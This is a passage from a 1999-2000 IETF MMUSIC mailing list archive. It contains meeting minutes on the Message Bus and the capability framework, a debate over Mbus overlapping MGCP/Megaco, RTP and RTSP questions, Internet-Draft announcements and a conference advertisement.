An issue was raised that the Message Bus commands for call control
seem very similar to an API -- a seemingly similar work item was
rejected by the Area Directors in the meeting of the SIP WG (SIP
servlet API).  The chair agreed to discuss this subject with the Area
Directors.  It was also noted that much more functionality as
presented during the meeting (and specified in the draft so far) will
be needed for e.g. call center applications.  Joerg pointed out that
further commands were already under investigation (such as conveying
DTMF, controlling announcements, etc.) and there were more to come.

Joerg also outlined a number of potential application scenarios for
the Message Bus.  The fundamental idea is that Mbus enables modular
system design (with components exchangeable at run time) and allows
independence of programming languages.  The Mbus concept can be used
to implement minimal browser plug-ins that use Mbus messages to talk
to a powerful call control engine / conferencing system.  Also, Mbus
allows to create an open interface for remotely controlling
stand-alone devices (such as IP telephone sets) from PCs/workstations.
Many further areas of application are conceivable.

In the future, work will need to move towards on completing the work
for generic call control, defining specific control commands for SIP
and H.323 (both of which are in progress).  Those Mbus commands which
use SDP right now for carrying media descriptions need to be revised
to incorporate the new capability framework syntax.  Finally,
tool-specific commands should be defined for video applications,
whiteboards, etc. and new areas of deployment could be investigated
for the Message Bus.


Capability Framework
--------------------

Joerg Ott presented the current status of the work on the capability
framework.  Capability negotiation is required for call and conference
control among other areas, and is needed by / worked on in a number of
working groups: MMUSIC, SIP, AVT, MEGACO, CONNEG, and possibly (much
more limited) IPTEL and ENUM.  The capability framework aims at
providing a good solution for MEGACO, SIP, and MMUSIC,
borrowing/re-using as much as possible from other work.

Joerg continued to review the system model: he described the
application and the component view of a call/conference situation.  To
provide the desired communication functionality (such as audio
communication or shared viewing of transparencies) different
configurations (applications used, protocols and parameters using
within the applications) are conceivable at each endpoint involved.
The intersection of capabilities (expressed by protocols and protocol
parameters) supported by the endpoints defines the set of potential
configurations to be used in the particular setting.  Out of these
potential configurations one or several actual configurations will be
chosen for the communication tasks; these actual configurations
constitute the session descriptions for the various media (as
currently found in SDP).

Today, a number of protocols make use of SDP to express capabilities.
However, SDP was originally designed for session announcements rather
than capability negotiation and does not make a distinction between
potential and actual configurations.  While SDP is simple, network
efficient, and easily extensible within its scope (all properties that
are desirable to keep), it is not designed to indicate alternatives,
counts, or groupings of capabilities.  Furthermore, SDP as a
description language does not provide adequate means to address
aspects such as redundancy coding or FEC.  Joerg stated that a new
capability framework needs to address all these asepcts as well as
additional ones.  Requirements (augmented durint the MMUSIC session)
for negotiation include:

- simple capability description and negotiation process
- multiparty with dynamic membership
- generality: semantics-ignorant negotiation
- accommodate user preferences
- simultaneous and mutually exclusive capabilities
  (combinations, quantities)
- fix initial choice of a capability for the entire session
  (no later changes possible)
- policies
- negotiation restricted to one to one and a half round trips

Requirements for the language:
- expressiveness e.g. support for redundancy, FEC, layered encodings
- efficiency -- concise, easy to parse
- generality -- no semantics in base specification
- extensible -- support naming and reuse of "profiles"
- network-friendly -- compactness, firewall/NAT support
- available within the next 18 months.

Completing the presentation of the current capability framework
Internet Draft, Joerg reviewed the major comments that the authors had
received so far: it was noted that the relation between requirements,
system model, and description language needs clarification, and a
major concern was raised that the capability framework draft would
duplicate work of the CONNEG WG.  While the authors suggested that
re-use of CONNEG work was a nice-to-have, comments from the audience
urged that re-use wherever possible is rather a mandate --
particularly given the complexity of the issues, the potential
similarity of requirements, and the goal to complete this work as
quickly as possible.

Finally, Joerg outlined the next steps to be taken (considering the
comments received).  Work items include defining syntax, types and
parameters for media encodings (codecs) as well as redundancy, FEC,
and interleaving schemes.  Work on these aspects can draw from other
sources inside and outside the IETF.  Also, the negotiation model
needs to be fixed: for the concrete negotiation model, it needs to be
decided how far to reuse or adapt the CONNEG work, a syntax need to be
specified, and special cases for capability negotiation need to be
worked out (such as sending vs. receiving capabilities, symmetric
vs. asymmetric capabilities).

A general discussion followed on the implications of this work: an
issue was raised that if this capability framework is intended as a
replacement for SDP, this will have an impact on a lot of other
protocols and deployed applications (which suggests further discussion
on the list).  Also, it was pointed out that (like in the MEGACO WG)
two camps are likely to surface: one looking for a number of
extensions to SDP to satisfy the immediate needs, another will want
something similar to H.245.  The chair argued that there is a need to
make progress on this, that all requirements have to be reviewed
carefully (in order not to overengineer a solution), and that, with
respect to the two camps, the goal is to make neither of them too
unhappy.

It was pointed out the SDP specification needs revision to incorporate
fixes.  This raises the issue of which functionality will be added to
SDP during this revision cycle and what will be done as part of the
new work item.  The chair argued that he would like to avoid feature
creep in SDP and that SDP should be kept within its original scope as
a pure description language.  He also pointed out that a clear
migration path from SDP towards the new work needs to be defined.

The capability framework was accepted as a new work item.  All
requirements listed so far (and new ones to be found) will be reviewed
carefully, and a solution as simple as possible will be developed.
The authors agreed to investigate the CONNEG work again with the aim
to re-use as much as possible and provide a revised capability draft
by February 2000.  Further discussion will take place on the list.





From confctrl-owner  Tue Dec 14 06:35:21 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA12718
	for confctrl-outgoing; Tue, 14 Dec 1999 06:35:21 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA12712
	for <confctrl@zephyr.isi.edu>; Tue, 14 Dec 1999 06:35:19 -0800 (PST)
Received: from samar.sasi.com (sasi.com [164.164.56.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA18432
	for <confctrl@ISI.EDU>; Tue, 14 Dec 1999 06:35:18 -0800 (PST)
Received: from samar (samar.sasi.com [164.164.56.2])
	by samar.sasi.com (8.9.3/8.9.3) with SMTP id UAA15296
	for <confctrl@ISI.EDU>; Tue, 14 Dec 1999 20:06:06 +0530 (IST)
Received: from sung17.sasi.com ([10.0.64.17]) by samar.sasi.com; Tue, 14 Dec 1999 20:06:05 +0000 (IST)
Received: from sasi.com (pcg127.sasi.com [10.0.64.127])
	by sung17.sasi.com (8.9.3/8.9.3) with ESMTP id UAA02436
	for <confctrl@ISI.EDU>; Tue, 14 Dec 1999 20:06:02 +0530 (IST)
Message-ID: <385655D2.CBF6C379@sasi.com>
Date: Tue, 14 Dec 1999 20:06:02 +0530
From: "Anil . H" <anilh@sasi.com>
Reply-To: anilh@sasi.com
X-Mailer: Mozilla 4.5 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "confctrl@ISI.EDU" <confctrl@ISI.EDU>
Subject: Query on RTP
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,
I would like to know if it is mandatory to implement Mixers ans
Translators at the terminal.

Regards
Anil


From confctrl-owner  Tue Dec 14 06:52:30 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA13833
	for confctrl-outgoing; Tue, 14 Dec 1999 06:52:30 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA13828
	for <confctrl@zephyr.isi.edu>; Tue, 14 Dec 1999 06:52:29 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA19144
	for <confctrl@ISI.EDU>; Tue, 14 Dec 1999 06:52:31 -0800 (PST)
Received: from eucharisto.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.27762-1@bells.cs.ucl.ac.uk>; Tue, 14 Dec 1999 14:51:54 +0000
To: anilh@sasi.com
cc: "confctrl@ISI.EDU" <confctrl@ISI.EDU>
Subject: Re: Query on RTP
In-reply-to: Your message of "Tue, 14 Dec 1999 20:06:02 +0530." <385655D2.CBF6C379@sasi.com>
Date: Tue, 14 Dec 1999 14:51:52 +0000
Message-ID: <1834.945183112@cs.ucl.ac.uk>
From: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Questions about RTP are properly asked on the AVT list rem-conf@es.net

--> "Anil . H" writes:
>I would like to know if it is mandatory to implement Mixers and
>Translators at the terminal.

RTP supports three kinds of system: end-system, mixer and translator. An
end system has to support playout of mixed media (ie: RTP packets with a
CSRC list and non-zero CC field), but is not required to be a mixer or a
translator.

Colin

From confctrl-owner  Wed Dec 15 03:54:56 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA20368
	for confctrl-outgoing; Wed, 15 Dec 1999 03:54:56 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA20363
	for <confctrl@zephyr.isi.edu>; Wed, 15 Dec 1999 03:54:54 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA12157
	for <confctrl@isi.edu>; Wed, 15 Dec 1999 03:54:56 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA29587;
	Wed, 15 Dec 1999 06:54:54 -0500 (EST)
Message-Id: <199912151154.GAA29587@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sap-v2-04.txt
Date: Wed, 15 Dec 1999 06:54:53 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Session Announcement Protocol
	Author(s)	: M. Handley, C. Perkins, E. Whelan
	Filename	: draft-ietf-mmusic-sap-v2-04.txt
	Pages		: 16
	Date		: 13-Dec-99
	
This document describes version 2 of the multicast session directory
announcement protocol, SAP, and the related issues affecting security
and scalability that should be taken into account by the implementors
of multicast session directory tools.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sap-v2-04.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sap-v2-04.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sap-v2-04.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19991214082650.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sap-v2-04.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sap-v2-04.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19991214082650.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Wed Dec 15 19:55:48 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA11900
	for confctrl-outgoing; Wed, 15 Dec 1999 19:55:48 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA11893
	for <confctrl@zephyr.isi.edu>; Wed, 15 Dec 1999 19:55:46 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA01021
	for <confctrl@ISI.EDU>; Wed, 15 Dec 1999 19:55:49 -0800 (PST)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id WAA03034
	for <confctrl@ISI.EDU>; Wed, 15 Dec 1999 22:55:49 -0500 (EST)
Message-ID: <385862C3.2E7C54FC@cs.columbia.edu>
Date: Wed, 15 Dec 1999 22:55:47 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.7 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Re: MMUSIC minutes
References: <199912132208.XAA21791@bettina.informatik.uni-bremen.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Joerg Ott wrote:

>
> Message Bus for Call Control
> ----------------------------
> 
> 
> Joerg also reviewed the concepts for Mbus message semantics and
> described the simple command naming scheme allowing for generic as
> well as protocol/tool-specific commands to be described without the
> risk of name clashes.  He noted that protocol/media and tool-specific
> commands are defined for RTP, audio streams, and the Robust Audio Tool
> (RAT), respectively.  Then he focused on Mbus commands for call
> control presenting a set of elements common to H.323, SIP, and ISDN
> and designed to be suitable for building gateways as well.
> (Protocol-specific messages are yet to be defined.)  As an example, he
> presented a call setup message (conf.call-control.call) along with its
> parameters in more detail.  Similar messages are defined for incoming
> call, accepting and rejecting calls, redirection, etc. as well as for
> event notifications (ringing, accepted, etc.).  Using ladder diagrams
> Joerg described sample call flows with Mbus-controlled SIP engines on
> both sides of a call.  Further call flows for other scenarios were
> shown as well.  He noted that the first revision of the call semantics
> Internet Drafts are likely to be targeted for Experimental to gain
> more experience before a Standards Track document will be pursued.
> 
> An issue was raised that the Message Bus commands for call control
> seem very similar to an API -- a seemingly similar work item was
> rejected by the Area Directors in the meeting of the SIP WG (SIP
> servlet API).  The chair agreed to discuss this subject with the Area
> Directors.  It was also noted that much more functionality as
> presented during the meeting (and specified in the draft so far) will
> be needed for e.g. call center applications.  Joerg pointed out that
> further commands were already under investigation (such as conveying
> DTMF, controlling announcements, etc.) and there were more to come.

Pardon me if I rehash things said at the meeting, but if one were to
replace "message bus" with "MGCP" or "Megaco", the paragraph would still
largely make sense. How much overlap is there between these? Obviously,
a message bus does multicast, but it may well be possible to use MGCP in
multicast mode.

> 
> Joerg also outlined a number of potential application scenarios for
> the Message Bus.  The fundamental idea is that Mbus enables modular
> system design (with components exchangeable at run time) and allows

such as the separation of MGC and MG...

> independence of programming languages.  The Mbus concept can be used
> to implement minimal browser plug-ins that use Mbus messages to talk
> to a powerful call control engine / conferencing system.  Also, Mbus

Reads like the motivation for MGCP :-)

> allows to create an open interface for remotely controlling
> stand-alone devices (such as IP telephone sets) from PCs/workstations.
> Many further areas of application are conceivable.
> 

I don't think we need three device-control protocols in the IETF. The
latter exactly duplicates the "residential gateway" application of
MGCP/Megaco.

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Thu Dec 16 09:14:28 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA23548
	for confctrl-outgoing; Thu, 16 Dec 1999 09:14:28 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA23543
	for <confctrl@zephyr.isi.edu>; Thu, 16 Dec 1999 09:14:28 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA17948
	for <confctrl@ISI.EDU>; Thu, 16 Dec 1999 09:14:28 -0800 (PST)
Received: from eucharisto.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.09403-0@bells.cs.ucl.ac.uk>; Thu, 16 Dec 1999 17:14:14 +0000
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
cc: confctrl@ISI.EDU
Subject: Re: MMUSIC minutes
In-reply-to: Your message of "Wed, 15 Dec 1999 22:55:47 EST." <385862C3.2E7C54FC@cs.columbia.edu>
Date: Thu, 16 Dec 1999 17:14:12 +0000
Message-ID: <3592.945364452@cs.ucl.ac.uk>
From: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning,

--> Henning Schulzrinne writes:
>Joerg Ott wrote:
>> Message Bus for Call Control
>> ----------------------------
...
>Pardon me if I rehash things said at the meeting, but if one were to
>replace "message bus" with "MGCP" or "Megaco", the paragraph would still
>largely make sense. How much overlap is there between these? Obviously,
>a message bus does multicast, but it may well be possible to use MGCP in
>multicast mode.
...
>I don't think we need three device-control protocols in the IETF. The
>latter exactly duplicates the "residential gateway" application of
>MGCP/Megaco.

You are largely correct, but the mbus has a broader scope than megaco. One
of the possible uses of the mbus is for local master-slave device control,
but it can also be used in a peer-to-peer losely coupled coordination role
(which is the primary reason I am interested in it). There is overlap, but
the scope is definitely not the same.

That said, I'm also not entirely convinced that this is something the IETF
should standardize, at least not until we have more fully defined the niche
it would fill in the standards area. I'd welcome more discussion on the list.

Colin

From confctrl-owner  Thu Dec 16 09:26:30 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA24278
	for confctrl-outgoing; Thu, 16 Dec 1999 09:26:30 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA24273
	for <confctrl@zephyr.isi.edu>; Thu, 16 Dec 1999 09:26:29 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA18756
	for <confctrl@ISI.EDU>; Thu, 16 Dec 1999 09:26:32 -0800 (PST)
Received: from cs.columbia.edu (kbe.cs.columbia.edu [128.59.19.148])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id MAA21205;
	Thu, 16 Dec 1999 12:26:27 -0500 (EST)
Message-ID: <3859223A.A55719E2@cs.columbia.edu>
Date: Thu, 16 Dec 1999 12:32:42 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
CC: confctrl@ISI.EDU
Subject: Re: MMUSIC minutes
References: <3592.945364452@cs.ucl.ac.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> You are largely correct, but the mbus has a broader scope than megaco. One
> of the possible uses of the mbus is for local master-slave device control,
> but it can also be used in a peer-to-peer losely coupled coordination role
> (which is the primary reason I am interested in it). There is overlap, but
> the scope is definitely not the same.

It might be interesting to investigate whether MGCP/Megaco can be
extended towards a looser coordination role. Alternatively, we should
clearly delineate the two, since many of the applications mentioned in
the minutes are core Megaco applications. (Not that I agree with all
MGCP design decisions, but I'm worried about protocol proliferation
particularly in this area where there are already two on-going efforts.)

> 
> That said, I'm also not entirely convinced that this is something the IETF
> should standardize, at least not until we have more fully defined the niche
> it would fill in the standards area. I'd welcome more discussion on the list.
> 
> Colin

From confctrl-owner  Wed Dec 22 10:40:08 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA08247
	for confctrl-outgoing; Wed, 22 Dec 1999 10:40:08 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA08241
	for <confctrl@zephyr.isi.edu>; Wed, 22 Dec 1999 10:40:07 -0800 (PST)
Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA22604
	for <confctrl@isi.edu>; Wed, 22 Dec 1999 10:40:11 -0800 (PST)
Received: from mailgate2.apple.com ([17.129.100.225])
	by mail-out1.apple.com (8.9.3/8.9.3) with ESMTP id KAA00981
	for <confctrl@isi.edu>; Wed, 22 Dec 1999 10:39:56 -0800 (PST)
Received: from scv3.apple.com (scv3.apple.com) by mailgate2.apple.com
 (Content Technologies SMTPRS 2.0.15) with ESMTP id <B0002190368@mailgate2.apple.com>;
 Wed, 22 Dec 1999 10:39:43 -0800
Received: from [17.202.35.52] (singda.apple.com [17.202.35.52])
	by scv3.apple.com (8.9.3/8.9.3) with ESMTP id KAA06182;
	Wed, 22 Dec 1999 10:39:42 -0800 (PST)
MIME-Version: 1.0
X-Sender: singer@mail.apple.com
Message-Id: <v04210118b486ca7c3ec1@[17.202.35.52]>
In-Reply-To: <385106FA.8CCE9552@sasi.com>
References: <385106FA.8CCE9552@sasi.com>
Date: Wed, 22 Dec 1999 10:36:30 -0800
To: anilh@sasi.com
From: Dave Singer <singer@apple.com>
Subject: Re: Any working implementations of RTSP
Cc: confctrl@ISI.EDU
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 7:28 PM +0530 12/10/99, Anil . H wrote:
>Hi,
>
>Where can i find Working implementations(open source) of the RTSP
>protocol. I downloaded the sample implementation from real.com site but
>I am facing lot of problems to get it working. Can anyone pls suggest
>some sites.
>
>Regards
>Anil

The Darwin open-source streaming server, accessible via 
<http://www.apple.com/quicktime>, is a fairly thorough rtsp/rtp 
compliant server, in open-source.

David Singer
Apple Computer/QuickTime

From confctrl-owner  Wed Dec 29 03:40:09 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA28021
	for confctrl-outgoing; Wed, 29 Dec 1999 03:40:09 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA28016
	for <confctrl@zephyr.isi.edu>; Wed, 29 Dec 1999 03:40:07 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA04476
	for <confctrl@isi.edu>; Wed, 29 Dec 1999 03:40:15 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA25096;
	Wed, 29 Dec 1999 06:40:13 -0500 (EST)
Message-Id: <199912291140.GAA25096@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-mbus-req-00.txt
Date: Wed, 29 Dec 1999 06:40:13 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Requirements for Local Conference Control
	Author(s)	: J. Ott, C. Perkins, D. Kutscher
	Filename	: draft-ietf-mmusic-mbus-req-00.txt
	Pages		: 10
	Date		: 28-Dec-99
	
In a variety of conferencing scenarios, a local communication channel
is desirable for conference-related information exchange between co-
located but otherwise independent application entities, for example
those taking part in application sessions that belong to the same
conference.  In loosely coupled conferences such a mechanism allows
for coordination of applications entities to e.g. implement
synchronization between media streams or to configure entities
without user interaction. It can also be used to implement tightly
coupled conferences enabling a conference controller to enforce
conference wide control within a end system.
This document defines application scenarios and requirements for a
coordination infrastructure that provides local coordination within a
conferencing end system.
This document is intended for discussion in the Multiparty Multimedia
Session Control (MMUSIC) working group of the Internet Engineering
Task Force.  Comments are solicited and should be addressed to the
working group's mailing list at confctrl@isi.edu and/or the authors.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-mbus-req-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-mbus-req-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-mbus-req-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19991228145012.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-mbus-req-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-mbus-req-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19991228145012.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Mon Jan  3 07:26:27 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA11972
	for confctrl-outgoing; Mon, 3 Jan 2000 07:26:27 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA11959
	for <confctrl@zephyr.isi.edu>; Mon, 3 Jan 2000 07:26:25 -0800 (PST)
Received: from smtp2.cluster.oleane.net (smtp2.cluster.oleane.net [195.25.12.17])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA25982
	for <confctrl@isi.edu>; Mon, 3 Jan 2000 07:26:34 -0800 (PST)
Received: from oleane  (dyn-1-1-234.Vin.dialup.oleane.fr [195.25.4.234])  by smtp2.cluster.oleane.net  with SMTP id QAA74328; Mon, 3 Jan 2000 16:25:29 +0100 (CET)
Message-ID: <003001bf55fe$7b90bb00$0401a8c0@oleane.com>
From: "Peter Lewis" <peter.lewis@upperside.fr>
To: <Undisclosed-Recipient:@smtp2.cluster.oleane.net;>
Subject: VoDSL 2000 Conference 
Date: Mon, 3 Jan 2000 16:23:02 +0100
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_002D_01BF5606.CEA9F2E0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_002D_01BF5606.CEA9F2E0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hello,
=20
The VoDSL 2000 Conference will stand in Paris next 28-31 March. Key =
speakers, case studies: take a look at:  =
http://www.upperside.fr/bavodsl.htm
=20
Regards



------=_NextPart_000_002D_01BF5606.CEA9F2E0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT color=3D#000000 size=3D2>Hello,</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>The VoDSL 2000 Conference will stand =
in Paris=20
next 28-31 March. Key speakers, case studies: take a look at:&nbsp; <A=20
href=3D"http://www.upperside.fr/bavodsl.htm">http://www.upperside.fr/bavo=
dsl.htm</A></FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>Regards</FONT></DIV></FONT></DIV>
<DIV>&nbsp;</DIV></FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_002D_01BF5606.CEA9F2E0--


From confctrl-owner  Tue Jan  4 06:25:40 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA05879
	for confctrl-outgoing; Tue, 4 Jan 2000 06:25:40 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
